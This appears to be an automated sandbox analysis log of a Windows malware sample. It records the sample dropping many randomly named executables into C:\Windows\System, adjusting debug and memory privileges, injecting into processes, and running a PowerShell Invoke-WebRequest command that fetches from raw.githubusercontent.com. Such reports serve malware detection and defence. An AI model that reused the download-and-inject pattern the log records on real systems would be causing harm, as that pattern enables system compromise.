File created C:\Windows\System\rJMNisH.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\lWaCpmJ.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\AzqamWF.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\mQsvgua.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\dSkbAoX.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\OcAEvrk.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\mvsHQsR.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\ggCzbTL.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\zVwJvtF.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\gconebH.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\JzhvVfS.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\SmRTNMi.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\oOUXGVb.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\NygwLlT.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\MEoUJFZ.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\QlYsjYf.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\vYveWFd.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\QsEzTpi.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\rmbZyLy.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\jQzfquV.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\hGcXynI.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\AizcQWz.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\OtJPmAa.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\PpxTEXi.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\hvByTcd.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\nkjrzAC.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\vLIKMTh.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\oTfInCh.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\OQLtPvG.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\YgCGnTr.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\NiZKivK.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\IWZmcFE.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\KBdidpN.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\pVHipyn.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\wnsLSuy.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\CgAaBRz.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\NcaOFhu.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\aPqJVRy.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\xObIGMU.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\WygBcNR.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\ENnzJlv.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\bVDyrdt.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\BBQypKl.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\vZIJdVe.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\ZrhYAGw.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\utwsZqI.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\dBQtWTJ.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\BztuOMw.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\TYbPXku.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\YWRcihi.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\lDjmKcG.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\PEOVBBi.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\jstwgDT.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\bZYPgJQ.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\CfxsMoR.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\RAQzBIS.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\dKFPSyt.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\rdCLOri.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\brFgBeL.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeLockMemoryPrivilege N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1416 wrote to memory of 1480 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1416 wrote to memory of 1480 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1416 wrote to memory of 3344 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\vqeJyAN.exe
PID 1416 wrote to memory of 3344 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\vqeJyAN.exe
PID 1416 wrote to memory of 3632 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\IDvImre.exe
PID 1416 wrote to memory of 3632 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\IDvImre.exe
PID 1416 wrote to memory of 2156 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\VrgnxvG.exe
PID 1416 wrote to memory of 2156 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\VrgnxvG.exe
PID 1416 wrote to memory of 1376 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\GJhgdpC.exe
PID 1416 wrote to memory of 1376 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\GJhgdpC.exe
PID 1416 wrote to memory of 5068 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\oXCorot.exe
PID 1416 wrote to memory of 5068 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\oXCorot.exe
PID 1416 wrote to memory of 3036 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\fbdrUkz.exe
PID 1416 wrote to memory of 3036 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\fbdrUkz.exe
PID 1416 wrote to memory of 3688 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\CiOdGry.exe
PID 1416 wrote to memory of 3688 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\CiOdGry.exe
PID 1416 wrote to memory of 3720 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\rOakJVK.exe
PID 1416 wrote to memory of 3720 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\rOakJVK.exe
PID 1416 wrote to memory of 3944 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\rtVCiYt.exe
PID 1416 wrote to memory of 3944 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\rtVCiYt.exe
PID 1416 wrote to memory of 3608 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\MTBgNMs.exe
PID 1416 wrote to memory of 3608 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\MTBgNMs.exe
PID 1416 wrote to memory of 4776 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\uXlLbzB.exe
PID 1416 wrote to memory of 4776 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\uXlLbzB.exe
PID 1416 wrote to memory of 4760 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\XYLKrKx.exe
PID 1416 wrote to memory of 4760 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\XYLKrKx.exe
PID 1416 wrote to memory of 4916 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\dJAmsFk.exe
PID 1416 wrote to memory of 4916 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\dJAmsFk.exe
PID 1416 wrote to memory of 2056 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\jWHxVVj.exe
PID 1416 wrote to memory of 2056 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\jWHxVVj.exe
PID 1416 wrote to memory of 2732 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\TPWiXlx.exe
PID 1416 wrote to memory of 2732 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\TPWiXlx.exe
PID 1416 wrote to memory of 1736 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\kXqPYhg.exe
PID 1416 wrote to memory of 1736 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\kXqPYhg.exe
PID 1416 wrote to memory of 2004 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\XhYeEnV.exe
PID 1416 wrote to memory of 2004 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\XhYeEnV.exe
PID 1416 wrote to memory of 3784 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\OUXrwdk.exe
PID 1416 wrote to memory of 3784 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\OUXrwdk.exe
PID 1416 wrote to memory of 4476 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\VmQAKVN.exe
PID 1416 wrote to memory of 4476 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\VmQAKVN.exe
PID 1416 wrote to memory of 2340 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\wnsLSuy.exe
PID 1416 wrote to memory of 2340 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\wnsLSuy.exe
PID 1416 wrote to memory of 2384 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\fMoynta.exe
PID 1416 wrote to memory of 2384 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\fMoynta.exe
PID 1416 wrote to memory of 1576 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\zFZXmSg.exe
PID 1416 wrote to memory of 1576 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\zFZXmSg.exe
PID 1416 wrote to memory of 5064 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\zUPnuIW.exe
PID 1416 wrote to memory of 5064 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\zUPnuIW.exe
PID 1416 wrote to memory of 4780 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\ihOvelZ.exe
PID 1416 wrote to memory of 4780 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\ihOvelZ.exe
PID 1416 wrote to memory of 1528 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\XtINqOy.exe
PID 1416 wrote to memory of 1528 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\XtINqOy.exe
PID 1416 wrote to memory of 2580 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\esmwMWc.exe
PID 1416 wrote to memory of 2580 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\esmwMWc.exe
PID 1416 wrote to memory of 4032 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\uvMDEhe.exe
PID 1416 wrote to memory of 4032 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\uvMDEhe.exe
PID 1416 wrote to memory of 4704 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\QvPHrVg.exe
PID 1416 wrote to memory of 4704 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\QvPHrVg.exe
PID 1416 wrote to memory of 4796 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\lOOWlEj.exe
PID 1416 wrote to memory of 4796 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\lOOWlEj.exe
PID 1416 wrote to memory of 2460 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\qqrFkPl.exe
PID 1416 wrote to memory of 2460 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\qqrFkPl.exe
PID 1416 wrote to memory of 4624 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\SQnlHIJ.exe
PID 1416 wrote to memory of 4624 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\SQnlHIJ.exe

Processes

C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe

"C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "

C:\Windows\System\vqeJyAN.exe

C:\Windows\System\vqeJyAN.exe

C:\Windows\System\IDvImre.exe

C:\Windows\System\IDvImre.exe

C:\Windows\System\VrgnxvG.exe

C:\Windows\System\VrgnxvG.exe

C:\Windows\System\GJhgdpC.exe

C:\Windows\System\GJhgdpC.exe

C:\Windows\System\oXCorot.exe

C:\Windows\System\oXCorot.exe

C:\Windows\System\fbdrUkz.exe

C:\Windows\System\fbdrUkz.exe

C:\Windows\System\CiOdGry.exe

C:\Windows\System\CiOdGry.exe

C:\Windows\System\rOakJVK.exe

C:\Windows\System\rOakJVK.exe

C:\Windows\System\rtVCiYt.exe

C:\Windows\System\rtVCiYt.exe

C:\Windows\System\MTBgNMs.exe

C:\Windows\System\MTBgNMs.exe

C:\Windows\System\uXlLbzB.exe

C:\Windows\System\uXlLbzB.exe

C:\Windows\System\XYLKrKx.exe

C:\Windows\System\XYLKrKx.exe

C:\Windows\System\dJAmsFk.exe

C:\Windows\System\dJAmsFk.exe

C:\Windows\System\jWHxVVj.exe

C:\Windows\System\jWHxVVj.exe

C:\Windows\System\TPWiXlx.exe

C:\Windows\System\TPWiXlx.exe

C:\Windows\System\kXqPYhg.exe

C:\Windows\System\kXqPYhg.exe

C:\Windows\System\XhYeEnV.exe

C:\Windows\System\XhYeEnV.exe

C:\Windows\System\OUXrwdk.exe

C:\Windows\System\OUXrwdk.exe

C:\Windows\System\VmQAKVN.exe

C:\Windows\System\VmQAKVN.exe

C:\Windows\System\wnsLSuy.exe

C:\Windows\System\wnsLSuy.exe

C:\Windows\System\fMoynta.exe

C:\Windows\System\fMoynta.exe

C:\Windows\System\zFZXmSg.exe

C:\Windows\System\zFZXmSg.exe

C:\Windows\System\zUPnuIW.exe

C:\Windows\System\zUPnuIW.exe

C:\Windows\System\ihOvelZ.exe

C:\Windows\System\ihOvelZ.exe

C:\Windows\System\XtINqOy.exe

C:\Windows\System\XtINqOy.exe

C:\Windows\System\esmwMWc.exe

C:\Windows\System\esmwMWc.exe

C:\Windows\System\uvMDEhe.exe

C:\Windows\System\uvMDEhe.exe

C:\Windows\System\QvPHrVg.exe

C:\Windows\System\QvPHrVg.exe

C:\Windows\System\lOOWlEj.exe

C:\Windows\System\lOOWlEj.exe

C:\Windows\System\qqrFkPl.exe

C:\Windows\System\qqrFkPl.exe

C:\Windows\System\SQnlHIJ.exe

C:\Windows\System\SQnlHIJ.exe

C:\Windows\System\ScheZtK.exe

C:\Windows\System\ScheZtK.exe

C:\Windows\System\JzNEmkj.exe

C:\Windows\System\JzNEmkj.exe

C:\Windows\System\yrWQCjJ.exe

C:\Windows\System\yrWQCjJ.exe

C:\Windows\System\YWRcihi.exe

C:\Windows\System\YWRcihi.exe

C:\Windows\System\jDLNnzj.exe

C:\Windows\System\jDLNnzj.exe

C:\Windows\System\kloFNjU.exe

C:\Windows\System\kloFNjU.exe

C:\Windows\System\WRTSYur.exe

C:\Windows\System\WRTSYur.exe

C:\Windows\System\HBtdvgn.exe

C:\Windows\System\HBtdvgn.exe

C:\Windows\System\TmyekMm.exe

C:\Windows\System\TmyekMm.exe

C:\Windows\System\GKcVSRT.exe

C:\Windows\System\GKcVSRT.exe

C:\Windows\System\bVDyrdt.exe

C:\Windows\System\bVDyrdt.exe

C:\Windows\System\EcklrYW.exe

C:\Windows\System\EcklrYW.exe

C:\Windows\System\GMDqCcZ.exe

C:\Windows\System\GMDqCcZ.exe

C:\Windows\System\WTaZLmW.exe

C:\Windows\System\WTaZLmW.exe

C:\Windows\System\iiQNiNi.exe

C:\Windows\System\iiQNiNi.exe

C:\Windows\System\fNnwLyv.exe

C:\Windows\System\fNnwLyv.exe

C:\Windows\System\WoJorIC.exe

C:\Windows\System\WoJorIC.exe

C:\Windows\System\zenWZpF.exe

C:\Windows\System\zenWZpF.exe

C:\Windows\System\WqTwoCV.exe

C:\Windows\System\WqTwoCV.exe

C:\Windows\System\LAnyNZc.exe

C:\Windows\System\LAnyNZc.exe

C:\Windows\System\UFXRfER.exe

C:\Windows\System\UFXRfER.exe

C:\Windows\System\xaKdCiG.exe

C:\Windows\System\xaKdCiG.exe

C:\Windows\System\NHnCtai.exe

C:\Windows\System\NHnCtai.exe

C:\Windows\System\zKHaqyk.exe

C:\Windows\System\zKHaqyk.exe

C:\Windows\System\ocbyihg.exe

C:\Windows\System\ocbyihg.exe

C:\Windows\System\cLgVrOg.exe

C:\Windows\System\cLgVrOg.exe

C:\Windows\System\RAQzBIS.exe

C:\Windows\System\RAQzBIS.exe

C:\Windows\System\fsumDHj.exe

C:\Windows\System\fsumDHj.exe

C:\Windows\System\MTdcvtX.exe

C:\Windows\System\MTdcvtX.exe

C:\Windows\System\LapSmmr.exe

C:\Windows\System\LapSmmr.exe

C:\Windows\System\gAksfUV.exe

C:\Windows\System\gAksfUV.exe

C:\Windows\System\sdHUhPg.exe

C:\Windows\System\sdHUhPg.exe

C:\Windows\System\KNRilNa.exe

C:\Windows\System\KNRilNa.exe

C:\Windows\System\uBxtLtB.exe

C:\Windows\System\uBxtLtB.exe

C:\Windows\System\BBQypKl.exe

C:\Windows\System\BBQypKl.exe

C:\Windows\System\ROtvSSU.exe

C:\Windows\System\ROtvSSU.exe

C:\Windows\System\nhBspgk.exe

C:\Windows\System\nhBspgk.exe

C:\Windows\System\kDzvMTr.exe

C:\Windows\System\kDzvMTr.exe

C:\Windows\System\rQOQisS.exe

C:\Windows\System\rQOQisS.exe

C:\Windows\System\tgEvUSd.exe

C:\Windows\System\tgEvUSd.exe

C:\Windows\System\iOTyFnJ.exe

C:\Windows\System\iOTyFnJ.exe

C:\Windows\System\tdHHFhx.exe

C:\Windows\System\tdHHFhx.exe

C:\Windows\System\MxuTNtc.exe

C:\Windows\System\MxuTNtc.exe

C:\Windows\System\hHCJxrb.exe

C:\Windows\System\hHCJxrb.exe

C:\Windows\System\SLKYpTy.exe

C:\Windows\System\SLKYpTy.exe

C:\Windows\System\LeEPiKF.exe

C:\Windows\System\LeEPiKF.exe

C:\Windows\System\FMlFVkd.exe

C:\Windows\System\FMlFVkd.exe

C:\Windows\System\rFSqSCq.exe

C:\Windows\System\rFSqSCq.exe

C:\Windows\System\nrIeTNW.exe

C:\Windows\System\nrIeTNW.exe

C:\Windows\System\EXVhyHx.exe

C:\Windows\System\EXVhyHx.exe

C:\Windows\System\dBQtWTJ.exe

C:\Windows\System\dBQtWTJ.exe

C:\Windows\System\EpjFZiz.exe

C:\Windows\System\EpjFZiz.exe

C:\Windows\System\mPQAGWu.exe

C:\Windows\System\mPQAGWu.exe

C:\Windows\System\BysIAaZ.exe

C:\Windows\System\BysIAaZ.exe

C:\Windows\System\DsrfWhs.exe

C:\Windows\System\DsrfWhs.exe

C:\Windows\System\iBYlbjW.exe

C:\Windows\System\iBYlbjW.exe

C:\Windows\System\uhDVuDo.exe

C:\Windows\System\uhDVuDo.exe

